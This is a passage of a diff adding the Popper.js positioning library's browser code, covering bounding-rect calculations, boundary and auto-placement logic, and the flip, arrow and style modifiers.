{HTMLElement} element + * @return {Object} client rect + */ + function getBoundingClientRect(element) { + var rect = {}; + + // IE10 10 FIX: Please, don't ask, the element isn't + // considered in DOM in some circumstances... + // This isn't reproducible in IE10 compatibility mode of IE11 + try { + if (isIE(10)) { + rect = element.getBoundingClientRect(); + var scrollTop = getScroll(element, 'top'); + var scrollLeft = getScroll(element, 'left'); + rect.top += scrollTop; + rect.left += scrollLeft; + rect.bottom += scrollTop; + rect.right += scrollLeft; + } else { + rect = element.getBoundingClientRect(); + } + } catch (e) {} + + var result = { + left: rect.left, + top: rect.top, + width: rect.right - rect.left, + height: rect.bottom - rect.top + }; + + // subtract scrollbar size from sizes + var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {}; + var width = sizes.width || element.clientWidth || result.right - result.left; + var height = sizes.height || element.clientHeight || result.bottom - result.top; + + var horizScrollbar = element.offsetWidth - width; + var vertScrollbar = element.offsetHeight - height; + + // if an hypothetical scrollbar is detected, we must be sure it's not a `border` + // we make this check conditional for performance reasons + if (horizScrollbar || vertScrollbar) { + var styles = getStyleComputedProperty(element); + horizScrollbar -= getBordersSize(styles, 'x'); + vertScrollbar -= getBordersSize(styles, 'y'); + + result.width -= horizScrollbar; + result.height -= vertScrollbar; + } + + return getClientRect(result); + } + + function getOffsetRectRelativeToArbitraryNode(children, parent) { + var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; + + var isIE10 = isIE(10); + var isHTML = parent.nodeName === 'HTML'; + var childrenRect = getBoundingClientRect(children); + var parentRect = getBoundingClientRect(parent); + var scrollParent = getScrollParent(children); + + var styles = getStyleComputedProperty(parent); + var borderTopWidth = parseFloat(styles.borderTopWidth, 10); + var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10); + + // In cases where the parent is fixed, we must ignore negative scroll in offset calc + if (fixedPosition && parent.nodeName === 'HTML') { + parentRect.top = Math.max(parentRect.top, 0); + parentRect.left = Math.max(parentRect.left, 0); + } + var offsets = getClientRect({ + top: childrenRect.top - parentRect.top - borderTopWidth, + left: childrenRect.left - parentRect.left - borderLeftWidth, + width: childrenRect.width, + height: childrenRect.height + }); + offsets.marginTop = 0; + offsets.marginLeft = 0; + + // Subtract margins of documentElement in case it's being used as parent + // we do this only on HTML because it's the only element that behaves + // differently when margins are applied to it. The margins are included in + // the box of the documentElement, in the other cases not. + if (!isIE10 && isHTML) { + var marginTop = parseFloat(styles.marginTop, 10); + var marginLeft = parseFloat(styles.marginLeft, 10); + + offsets.top -= borderTopWidth - marginTop; + offsets.bottom -= borderTopWidth - marginTop; + offsets.left -= borderLeftWidth - marginLeft; + offsets.right -= borderLeftWidth - marginLeft; + + // Attach marginTop and marginLeft because in some circumstances we may need them + offsets.marginTop = marginTop; + offsets.marginLeft = marginLeft; + } + + if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') { + offsets = includeScroll(offsets, parent); + } + + return offsets; + } + + function getViewportOffsetRectRelativeToArtbitraryNode(element) { + var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + + var html = element.ownerDocument.documentElement; + var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html); + var width = Math.max(html.clientWidth, window.innerWidth || 0); + var height = Math.max(html.clientHeight, window.innerHeight || 0); + + var scrollTop = !excludeScroll ? getScroll(html) : 0; + var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0; + + var offset = { + top: scrollTop - relativeOffset.top + relativeOffset.marginTop, + left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft, + width: width, + height: height + }; + + return getClientRect(offset); + } + + /** + * Check if the given element is fixed or is inside a fixed parent + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @argument {Element} customContainer + * @returns {Boolean} answer to "isFixed?" + */ + function isFixed(element) { + var nodeName = element.nodeName; + if (nodeName === 'BODY' || nodeName === 'HTML') { + return false; + } + if (getStyleComputedProperty(element, 'position') === 'fixed') { + return true; + } + return isFixed(getParentNode(element)); + } + + /** + * Finds the first parent of an element that has a transformed property defined + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @returns {Element} first transformed parent or documentElement + */ + + function getFixedPositionOffsetParent(element) { + // This check is needed to avoid errors in case one of the elements isn't defined for any reason + if (!element || !element.parentElement || isIE()) { + return document.documentElement; + } + var el = element.parentElement; + while (el && getStyleComputedProperty(el, 'transform') === 'none') { + el = el.parentElement; + } + return el || document.documentElement; + } + + /** + * Computed the boundaries limits and return them + * @method + * @memberof Popper.Utils + * @param {HTMLElement} popper + * @param {HTMLElement} reference + * @param {number} padding + * @param {HTMLElement} boundariesElement - Element used to define the boundaries + * @param {Boolean} fixedPosition - Is in fixed position mode + * @returns {Object} Coordinates of the boundaries + */ + function getBoundaries(popper, reference, padding, boundariesElement) { + var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false; + + // NOTE: 1 DOM access here + + var boundaries = { top: 0, left: 0 }; + var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference); + + // Handle viewport case + if (boundariesElement === 'viewport') { + boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition); + } else { + // Handle other cases based on DOM element used as boundaries + var boundariesNode = void 0; + if (boundariesElement === 'scrollParent') { + boundariesNode = getScrollParent(getParentNode(reference)); + if (boundariesNode.nodeName === 'BODY') { + boundariesNode = popper.ownerDocument.documentElement; + } + } else if (boundariesElement === 'window') { + boundariesNode = popper.ownerDocument.documentElement; + } else { + boundariesNode = boundariesElement; + } + + var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition); + + // In case of HTML, we need a different computation + if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) { + var _getWindowSizes = getWindowSizes(), + height = _getWindowSizes.height, + width = _getWindowSizes.width; + + boundaries.top += offsets.top - offsets.marginTop; + boundaries.bottom = height + offsets.top; + boundaries.left += offsets.left - offsets.marginLeft; + boundaries.right = width + offsets.left; + } else { + // for all the other DOM elements, this one is good + boundaries = offsets; + } + } + + // Add paddings + boundaries.left += padding; + boundaries.top += padding; + boundaries.right -= padding; + boundaries.bottom -= padding; + + return boundaries; + } + + function getArea(_ref) { + var width = _ref.width, + height = _ref.height; + + return width * height; + } + + /** + * Utility used to transform the `auto` placement to the placement with more + * available space. + * @method + * @memberof Popper.Utils + * @argument {Object} data - The data object generated by update method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) { + var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0; + + if (placement.indexOf('auto') === -1) { + return placement; + } + + var boundaries = getBoundaries(popper, reference, padding, boundariesElement); + + var rects = { + top: { + width: boundaries.width, + height: refRect.top - boundaries.top + }, + right: { + width: boundaries.right - refRect.right, + height: boundaries.height + }, + bottom: { + width: boundaries.width, + height: boundaries.bottom - refRect.bottom + }, + left: { + width: refRect.left - boundaries.left, + height: boundaries.height + } + }; + + var sortedAreas = Object.keys(rects).map(function (key) { + return _extends({ + key: key + }, rects[key], { + area: getArea(rects[key]) + }); + }).sort(function (a, b) { + return b.area - a.area; + }); + + var filteredAreas = sortedAreas.filter(function (_ref2) { + var width = _ref2.width, + height = _ref2.height; + return width >= popper.clientWidth && height >= popper.clientHeight; + }); + + var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key; + + var variation = placement.split('-')[1]; + + return computedPlacement + (variation ? '-' + variation : ''); + } + + /** + * Get offsets to the reference element + * @method + * @memberof Popper.Utils + * @param {Object} state + * @param {Element} popper - the popper element + * @param {Element} reference - the reference element (the popper will be relative to this) + * @param {Element} fixedPosition - is in fixed position mode + * @returns {Object} An object containing the offsets which will be applied to the popper + */ + function getReferenceOffsets(state, popper, reference) { + var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null; + + var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference); + return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition); + } + + /** + * Get the outer sizes of the given element (offset size + margins) + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @returns {Object} object containing width and height properties + */ + function getOuterSizes(element) { + var styles = getComputedStyle(element); + var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom); + var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight); + var result = { + width: element.offsetWidth + y, + height: element.offsetHeight + x + }; + return result; + } + + /** + * Get the opposite placement of the given one + * @method + * @memberof Popper.Utils + * @argument {String} placement + * @returns {String} flipped placement + */ + function getOppositePlacement(placement) { + var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' }; + return placement.replace(/left|right|bottom|top/g, function (matched) { + return hash[matched]; + }); + } + + /** + * Get offsets to the popper + * @method + * @memberof Popper.Utils + * @param {Object} position - CSS position the Popper will get applied + * @param {HTMLElement} popper - the popper element + * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this) + * @param {String} placement - one of the valid placement options + * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper + */ + function getPopperOffsets(popper, referenceOffsets, placement) { + placement = placement.split('-')[0]; + + // Get popper node sizes + var popperRect = getOuterSizes(popper); + + // Add position, width and height to our offsets object + var popperOffsets = { + width: popperRect.width, + height: popperRect.height + }; + + // depending by the popper placement we have to compute its offsets slightly differently + var isHoriz = ['right', 'left'].indexOf(placement) !== -1; + var mainSide = isHoriz ? 'top' : 'left'; + var secondarySide = isHoriz ? 'left' : 'top'; + var measurement = isHoriz ? 'height' : 'width'; + var secondaryMeasurement = !isHoriz ? 'height' : 'width'; + + popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2; + if (placement === secondarySide) { + popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement]; + } else { + popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)]; + } + + return popperOffsets; + } + + /** + * Mimics the `find` method of Array + * @method + * @memberof Popper.Utils + * @argument {Array} arr + * @argument prop + * @argument value + * @returns index or -1 + */ + function find(arr, check) { + // use native find if supported + if (Array.prototype.find) { + return arr.find(check); + } + + // use `filter` to obtain the same behavior of `find` + return arr.filter(check)[0]; + } + + /** + * Return the index of the matching object + * @method + * @memberof Popper.Utils + * @argument {Array} arr + * @argument prop + * @argument value + * @returns index or -1 + */ + function findIndex(arr, prop, value) { + // use native findIndex if supported + if (Array.prototype.findIndex) { + return arr.findIndex(function (cur) { + return cur[prop] === value; + }); + } + + // use `find` + `indexOf` if `findIndex` isn't supported + var match = find(arr, function (obj) { + return obj[prop] === value; + }); + return arr.indexOf(match); + } + + /** + * Loop trough the list of modifiers and run them in order, + * each of them will then edit the data object. + * @method + * @memberof Popper.Utils + * @param {dataObject} data + * @param {Array} modifiers + * @param {String} ends - Optional modifier name used as stopper + * @returns {dataObject} + */ + function runModifiers(modifiers, data, ends) { + var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends)); + + modifiersToRun.forEach(function (modifier) { + if (modifier['function']) { + // eslint-disable-line dot-notation + console.warn('`modifier.function` is deprecated, use `modifier.fn`!'); + } + var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation + if (modifier.enabled && isFunction(fn)) { + // Add properties to offsets to make them a complete clientRect object + // we do this before each modifier to make sure the previous one doesn't + // mess with these values + data.offsets.popper = getClientRect(data.offsets.popper); + data.offsets.reference = getClientRect(data.offsets.reference); + + data = fn(data, modifier); + } + }); + + return data; + } + + /** + * Updates the position of the popper, computing the new offsets and applying + * the new style.<br /> + * Prefer `scheduleUpdate` over `update` because of performance reasons. + * @method + * @memberof Popper + */ + function update() { + // if popper is destroyed, don't perform any further update + if (this.state.isDestroyed) { + return; + } + + var data = { + instance: this, + styles: {}, + arrowStyles: {}, + attributes: {}, + flipped: false, + offsets: {} + }; + + // compute reference element offsets + data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed); + + // compute auto placement, store placement inside the data object, + // modifiers will be able to edit `placement` if needed + // and refer to originalPlacement to know the original value + data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding); + + // store the computed placement inside `originalPlacement` + data.originalPlacement = data.placement; + + data.positionFixed = this.options.positionFixed; + + // compute the popper offsets + data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement); + data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute'; + + // run the modifiers + data = runModifiers(this.modifiers, data); + + // the first `update` will call `onCreate` callback + // the other ones will call `onUpdate` callback + if (!this.state.isCreated) { + this.state.isCreated = true; + this.options.onCreate(data); + } else { + this.options.onUpdate(data); + } + } + + /** + * Helper used to know if the given modifier is enabled. + * @method + * @memberof Popper.Utils + * @returns {Boolean} + */ + function isModifierEnabled(modifiers, modifierName) { + return modifiers.some(function (_ref) { + var name = _ref.name, + enabled = _ref.enabled; + return enabled && name === modifierName; + }); + } + + /** + * Get the prefixed supported property name + * @method + * @memberof Popper.Utils + * @argument {String} property (camelCase) + * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix) + */ + function getSupportedPropertyName(property) { + var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O']; + var upperProp = property.charAt(0).toUpperCase() + property.slice(1); + + for (var i = 0; i < prefixes.length; i++) { + var prefix = prefixes[i]; + var toCheck = prefix ? '' + prefix + upperProp : property; + if (typeof document.body.style[toCheck] !== 'undefined') { + return toCheck; + } + } + return null; + } + + /** + * Destroy the popper + * @method + * @memberof Popper + */ + function destroy() { + this.state.isDestroyed = true; + + // touch DOM only if `applyStyle` modifier is enabled + if (isModifierEnabled(this.modifiers, 'applyStyle')) { + this.popper.removeAttribute('x-placement'); + this.popper.style.position = ''; + this.popper.style.top = ''; + this.popper.style.left = ''; + this.popper.style.right = ''; + this.popper.style.bottom = ''; + this.popper.style.willChange = ''; + this.popper.style[getSupportedPropertyName('transform')] = ''; + } + + this.disableEventListeners(); + + // remove the popper if user explicity asked for the deletion on destroy + // do not use `remove` because IE11 doesn't support it + if (this.options.removeOnDestroy) { + this.popper.parentNode.removeChild(this.popper); + } + return this; + } + + /** + * Get the window associated with the element + * @argument {Element} element + * @returns {Window} + */ + function getWindow(element) { + var ownerDocument = element.ownerDocument; + return ownerDocument ? ownerDocument.defaultView : window; + } + + function attachToScrollParents(scrollParent, event, callback, scrollParents) { + var isBody = scrollParent.nodeName === 'BODY'; + var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent; + target.addEventListener(event, callback, { passive: true }); + + if (!isBody) { + attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents); + } + scrollParents.push(target); + } + + /** + * Setup needed event listeners used to update the popper position + * @method + * @memberof Popper.Utils + * @private + */ + function setupEventListeners(reference, options, state, updateBound) { + // Resize event listener on window + state.updateBound = updateBound; + getWindow(reference).addEventListener('resize', state.updateBound, { passive: true }); + + // Scroll event listener on scroll parents + var scrollElement = getScrollParent(reference); + attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents); + state.scrollElement = scrollElement; + state.eventsEnabled = true; + + return state; + } + + /** + * It will add resize/scroll events and start recalculating + * position of the popper element when they are triggered. + * @method + * @memberof Popper + */ + function enableEventListeners() { + if (!this.state.eventsEnabled) { + this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate); + } + } + + /** + * Remove event listeners used to update the popper position + * @method + * @memberof Popper.Utils + * @private + */ + function removeEventListeners(reference, state) { + // Remove resize event listener on window + getWindow(reference).removeEventListener('resize', state.updateBound); + + // Remove scroll event listener on scroll parents + state.scrollParents.forEach(function (target) { + target.removeEventListener('scroll', state.updateBound); + }); + + // Reset state + state.updateBound = null; + state.scrollParents = []; + state.scrollElement = null; + state.eventsEnabled = false; + return state; + } + + /** + * It will remove resize/scroll events and won't recalculate popper position + * when they are triggered. It also won't trigger onUpdate callback anymore, + * unless you call `update` method manually. + * @method + * @memberof Popper + */ + function disableEventListeners() { + if (this.state.eventsEnabled) { + cancelAnimationFrame(this.scheduleUpdate); + this.state = removeEventListeners(this.reference, this.state); + } + } + + /** + * Tells if a given input is a number + * @method + * @memberof Popper.Utils + * @param {*} input to check + * @return {Boolean} + */ + function isNumeric(n) { + return n !== '' && !isNaN(parseFloat(n)) && isFinite(n); + } + + /** + * Set the style to the given popper + * @method + * @memberof Popper.Utils + * @argument {Element} element - Element to apply the style to + * @argument {Object} styles + * Object with a list of properties and values which will be applied to the element + */ + function setStyles(element, styles) { + Object.keys(styles).forEach(function (prop) { + var unit = ''; + // add unit if the value is numeric and is one of the following + if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) { + unit = 'px'; + } + element.style[prop] = styles[prop] + unit; + }); + } + + /** + * Set the attributes to the given popper + * @method + * @memberof Popper.Utils + * @argument {Element} element - Element to apply the attributes to + * @argument {Object} styles + * Object with a list of properties and values which will be applied to the element + */ + function setAttributes(element, attributes) { + Object.keys(attributes).forEach(function (prop) { + var value = attributes[prop]; + if (value !== false) { + element.setAttribute(prop, attributes[prop]); + } else { + element.removeAttribute(prop); + } + }); + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by `update` method + * @argument {Object} data.styles - List of style properties - values to apply to popper element + * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The same data object + */ + function applyStyle(data) { + // any property present in `data.styles` will be applied to the popper, + // in this way we can make the 3rd party modifiers add custom styles to it + // Be aware, modifiers could override the properties defined in the previous + // lines of this modifier! + setStyles(data.instance.popper, data.styles); + + // any property present in `data.attributes` will be applied to the popper, + // they will be set as HTML attributes of the element + setAttributes(data.instance.popper, data.attributes); + + // if arrowElement is defined and arrowStyles has some properties + if (data.arrowElement && Object.keys(data.arrowStyles).length) { + setStyles(data.arrowElement, data.arrowStyles); + } + + return data; + } + + /** + * Set the x-placement attribute before everything else because it could be used + * to add margins to the popper margins needs to be calculated to get the + * correct popper offsets. + * @method + * @memberof Popper.modifiers + * @param {HTMLElement} reference - The reference element used to position the popper + * @param {HTMLElement} popper - The HTML element used as popper + * @param {Object} options - Popper.js options + */ + function applyStyleOnLoad(reference, popper, options, modifierOptions, state) { + // compute reference element offsets + var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed); + + // compute auto placement, store placement inside the data object, + // modifiers will be able to edit `placement` if needed + // and refer to originalPlacement to know the original value + var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding); + + popper.setAttribute('x-placement', placement); + + // Apply `position` to popper before anything else because + // without the position applied we can't guarantee correct computations + setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' }); + + return options; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by `update` method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function computeStyle(data, options) { + var x = options.x, + y = options.y; + var popper = data.offsets.popper; + + // Remove this legacy support in Popper.js v2 + + var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) { + return modifier.name === 'applyStyle'; + }).gpuAcceleration; + if (legacyGpuAccelerationOption !== undefined) { + console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'); + } + var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration; + + var offsetParent = getOffsetParent(data.instance.popper); + var offsetParentRect = getBoundingClientRect(offsetParent); + + // Styles + var styles = { + position: popper.position + }; + + // floor sides to avoid blurry text + var offsets = { + left: Math.floor(popper.left), + top: Math.floor(popper.top), + bottom: Math.floor(popper.bottom), + right: Math.floor(popper.right) + }; + + var sideA = x === 'bottom' ? 'top' : 'bottom'; + var sideB = y === 'right' ? 'left' : 'right'; + + // if gpuAcceleration is set to `true` and transform is supported, + // we use `translate3d` to apply the position to the popper we + // automatically use the supported prefixed version if needed + var prefixedProperty = getSupportedPropertyName('transform'); + + // now, let's make a step back and look at this code closely (wtf?) + // If the content of the popper grows once it's been positioned, it + // may happen that the popper gets misplaced because of the new content + // overflowing its reference element + // To avoid this problem, we provide two options (x and y), which allow + // the consumer to define the offset origin. + // If we position a popper on top of a reference element, we can set + // `x` to `top` to make the popper grow towards its top instead of + // its bottom. + var left = void 0, + top = void 0; + if (sideA === 'bottom') { + top = -offsetParentRect.height + offsets.bottom; + } else { + top = offsets.top; + } + if (sideB === 'right') { + left = -offsetParentRect.width + offsets.right; + } else { + left = offsets.left; + } + if (gpuAcceleration && prefixedProperty) { + styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)'; + styles[sideA] = 0; + styles[sideB] = 0; + styles.willChange = 'transform'; + } else { + // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties + var invertTop = sideA === 'bottom' ? -1 : 1; + var invertLeft = sideB === 'right' ? -1 : 1; + styles[sideA] = top * invertTop; + styles[sideB] = left * invertLeft; + styles.willChange = sideA + ', ' + sideB; + } + + // Attributes + var attributes = { + 'x-placement': data.placement + }; + + // Update `data` attributes, styles and arrowStyles + data.attributes = _extends({}, attributes, data.attributes); + data.styles = _extends({}, styles, data.styles); + data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles); + + return data; + } + + /** + * Helper used to know if the given modifier depends from another one.<br /> + * It checks if the needed modifier is listed and enabled. + * @method + * @memberof Popper.Utils + * @param {Array} modifiers - list of modifiers + * @param {String} requestingName - name of requesting modifier + * @param {String} requestedName - name of requested modifier + * @returns {Boolean} + */ + function isModifierRequired(modifiers, requestingName, requestedName) { + var requesting = find(modifiers, function (_ref) { + var name = _ref.name; + return name === requestingName; + }); + + var isRequired = !!requesting && modifiers.some(function (modifier) { + return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order; + }); + + if (!isRequired) { + var _requesting = '`' + requestingName + '`'; + var requested = '`' + requestedName + '`'; + console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!'); + } + return isRequired; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by update method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function arrow(data, options) { + var _data$offsets$arrow; + + // arrow depends on keepTogether in order to work + if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) { + return data; + } + + var arrowElement = options.element; + + // if arrowElement is a string, suppose it's a CSS selector + if (typeof arrowElement === 'string') { + arrowElement = data.instance.popper.querySelector(arrowElement); + + // if arrowElement is not found, don't run the modifier + if (!arrowElement) { + return data; + } + } else { + // if the arrowElement isn't a query selector we must check that the + // provided DOM node is child of its popper node + if (!data.instance.popper.contains(arrowElement)) { + console.warn('WARNING: `arrow.element` must be child of its popper element!'); + return data; + } + } + + var placement = data.placement.split('-')[0]; + var _data$offsets = data.offsets, + popper = _data$offsets.popper, + reference = _data$offsets.reference; + + var isVertical = ['left', 'right'].indexOf(placement) !== -1; + + var len = isVertical ? 'height' : 'width'; + var sideCapitalized = isVertical ? 'Top' : 'Left'; + var side = sideCapitalized.toLowerCase(); + var altSide = isVertical ? 'left' : 'top'; + var opSide = isVertical ? 'bottom' : 'right'; + var arrowElementSize = getOuterSizes(arrowElement)[len]; + + // + // extends keepTogether behavior making sure the popper and its + // reference have enough pixels in conjuction + // + + // top/left side + if (reference[opSide] - arrowElementSize < popper[side]) { + data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize); + } + // bottom/right side + if (reference[side] + arrowElementSize > popper[opSide]) { + data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide]; + } + data.offsets.popper = getClientRect(data.offsets.popper); + + // compute center of the popper + var center = reference[side] + reference[len] / 2 - arrowElementSize / 2; + + // Compute the sideValue using the updated popper offsets + // take popper margin in account because we don't have this info available + var css = getStyleComputedProperty(data.instance.popper); + var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10); + var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10); + var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide; + + // prevent arrowElement from being placed not contiguously to its popper + sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0); + + data.arrowElement = arrowElement; + data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow); + + return data; + } + + /** + * Get the opposite placement variation of the given one + * @method + * @memberof Popper.Utils + * @argument {String} placement variation + * @returns {String} flipped placement variation + */ + function getOppositeVariation(variation) { + if (variation === 'end') { + return 'start'; + } else if (variation === 'start') { + return 'end'; + } + return variation; + } + + /** + * List of accepted placements to use as values of the `placement` option.<br /> + * Valid placements are: + * - `auto` + * - `top` + * - `right` + * - `bottom` + * - `left` + * + * Each placement can have a variation from this list: + * - `-start` + * - `-end` + * + * Variations are interpreted easily if you think of them as the left to right + * written languages. Horizontally (`top` and `bottom`), `start` is left and `end` + * is right.<br /> + * Vertically (`left` and `right`), `start` is top and `end` is bottom. + * + * Some valid examples are: + * - `top-end` (on top of reference, right aligned) + * - `right-start` (on right of reference, top aligned) + * - `bottom` (on bottom, centered) + * - `auto-right` (on the side with more space available, alignment depends by placement) + * + * @static + * @type {Array} + * @enum {String} + * @readonly + * @method placements + * @memberof Popper + */ + var placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start']; + + // Get rid of `auto` `auto-start` and `auto-end` + var validPlacements = placements.slice(3); + + /** + * Given an initial placement, returns all the subsequent placements + * clockwise (or counter-clockwise). + * + * @method + * @memberof Popper.Utils + * @argument {String} placement - A valid placement (it accepts variations) + * @argument {Boolean} counter - Set to true to walk the placements counterclockwise + * @returns {Array} placements including their variations + */ + function clockwise(placement) { + var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + + var index = validPlacements.indexOf(placement); + var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index)); + return counter ? arr.reverse() : arr; + } + + var BEHAVIORS = { + FLIP: 'flip', + CLOCKWISE: 'clockwise', + COUNTERCLOCKWISE: 'counterclockwise' + }; + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by update method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function flip(data, options) { + // if `inner` modifier is enabled, we can't use the `flip` modifier + if (isModifierEnabled(data.instance.modifiers, 'inner')) { + return data; + } + + if (data.flipped && data.placement === data.originalPlacement) { + // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides + return data; + } + + var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed); + + var placement = data.placement.split('-')[0]; + var placementOpposite = getOppositePlacement(placement); + var variation = data.placement.split('-')[1] || ''; + + var flipOrder = []; + + switch (options.behavior) { + case BEHAVIORS.FLIP: + flipOrder = [placement, placementOpposite]; + break; + case BEHAVIORS.CLOCKWISE: + flipOrder = clockwise(placement); + break; + case BEHAVIORS.COUNTERCLOCKWISE: + flipOrder = clockwise(placement, true); + break; + default: + flipOrder = options.behavior; + } + + flipOrder.forEach(function (step, index) { + if (placement !== step || flipOrder.length === index + 1) { + return data; + } + + placement = data.placement.split('-')[0]; + placementOpposite = getOppositePlacement(placement); + + var popperOffsets = data.offsets.popper; + var refOffsets = data.offsets.reference; + + // using floor because the reference offsets may contain decimals we are not going to consider here + var floor = Math.floor; + var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom); + + var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left); + var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right); + var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top); + var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom); + + var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom; + + // flip the variation if required + var isVertical = ['top', 'bottom'].indexOf(placement) !== -1; + var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom); + + if (overlapsRef || overflowsBoundaries || flippedVariation) { + // this boolean to detect any flip loop + data.flipped = true; + + if (overlapsRef || overflowsBoundaries) { + placement = flipOrder[index + 1]; + } + + if (flippedVariation) { + variation = getOppositeVariation(variation); + } + + data.placement = placement + (variation ? '-' + variation : ''); + + // this object contains `position`, we want to preserve it along with + // any additional property we may add in the future + data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement)); + + data = runModifiers(data.instance.modifiers, data, 'flip'); + } + }); + return data; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by update method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function keepTogether(data) { + var _data$offsets = data.offsets, + popper = _data$offsets.popper, + reference = _data$offsets.reference; + + var placement = data.placement.split('-')[0]; + var floor = 